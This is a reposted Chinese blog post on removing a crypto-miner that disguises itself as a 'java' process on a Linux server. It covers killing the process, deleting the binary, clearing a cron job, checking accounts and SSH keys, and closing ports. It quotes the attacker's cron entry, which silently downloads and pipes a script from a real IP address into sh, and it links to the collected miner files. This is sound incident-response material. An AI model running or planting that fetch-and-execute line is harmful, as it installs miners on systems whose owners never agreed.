徹底清除挖礦程序
轉自:https://blog.csdn.net/zzf1510711060/article/details/83015700
一:殺死挖礦程序進程
在服務器上使用top指令查看cpu的使用情況,發現有一個叫java的程序占用cpu高達99.9%
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
5778 root 20 0 373576 2720 404 S 99.9 0.1 1252:00 java
2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd
3 root 20 0 0 0 0 S 0.0 0.0 0:00.08 ksoftirqd/0
5 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kworker/0:0H
這個是挖礦程序偽裝成java程序,用jps查看java進程的時候並沒有這個程序。
通過pkill 5778殺死進程
二:刪除挖礦程序
我們通過cd /proc/5778(這個java挖礦程序的pid)進入到這個進程的目錄然後通過ll命令查看這個進程程序的位置
dr-xr-xr-x 2 root root 0 Oct 11 17:24 attr
-rw-r--r-- 1 root root 0 Oct 11 17:24 autogroup
-r-------- 1 root root 0 Oct 11 17:24 auxv
--w------- 1 root root 0 Oct 11 17:24 clear_refs
-r--r--r-- 1 root root 0 Oct 10 20:18 cmdline
-rw-r--r-- 1 root root 0 Oct 11 17:24 comm
-rw-r--r-- 1 root root 0 Oct 11 17:24 coredump_filter
-r--r--r-- 1 root root 0 Oct 11 17:24 cpuset
lrwxrwxrwx 1 root root 0 Oct 11 17:24 cwd -> /
-r-------- 1 root root 0 Oct 11 17:24 environ
lrwxrwxrwx 1 root root 0 Oct 10 20:18 exe -> /var/tmp/java
dr-x------ 2 root root 0 Oct 10 20:18 fd
dr-x------ 2 root root 0 Oct 11 17:24 fdinfo
然後我們進入這個程序的目錄找到這個程序然後刪除
-rwxr-xr-x 1 root root 2386544 Oct 9 15:53 java
rm -rf java
不過做到這裏不久之後這個挖礦程序還是會死灰復燃
三:清除挖礦程序的定時任務
因為你的系統中已經被設置了一個定時任務,定時下載挖礦程序並運行
通過crontab -l 查看該用戶下的所有定時任務
* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1
無時無刻的靜默執行這個cr.sh腳本,還清除了記錄,真的是陰啊!
crontab -r 刪除定時任務
不過我好奇這個腳本裏寫了什麽,於是乎修改了一下這個定時任務,把他的腳本下載了下來,發現通過這個腳本又執行了另一個腳本,還得到了一個配置文件,再加上偽裝成java的挖礦軟件,一共四個東西,我都上傳了,有興趣的可以下來看下。
https://download.csdn.net/download/zzf1510711060/10714458
最後提醒下,服務器的一些高危端口千萬不要隨便開啟啊,如果用阿裏雲搭建集群的話可以配置安全組規則,針對於特定的主機開放端口,不要對所有ip開放端口。
四:檢查用戶列表,.ssh文件,開機啟動
cat /etc/passwd 檢查是否有未知用戶
cat ~/.ssh/authrized_keys 檢查是否對未知用戶授權
cat known_hosts 檢查是否有未知的用host
/etc/rc.local /etc/rc.sysinit /etc/inittab /etc/profile 這些開機啟動的系統配置目錄下面可能有挖礦程序的腳本,檢查一下
步驟簡化:
1.pkill java 殺掉挖礦程序的進程
2.rm -rf java 刪除挖礦程序
3.crontab -r 刪除定時任務
4.檢查用戶列表,開機啟動,.ssh文件
5.去阿裏雲控制臺設置安全組關閉不安全端口
徹底清除挖礦程序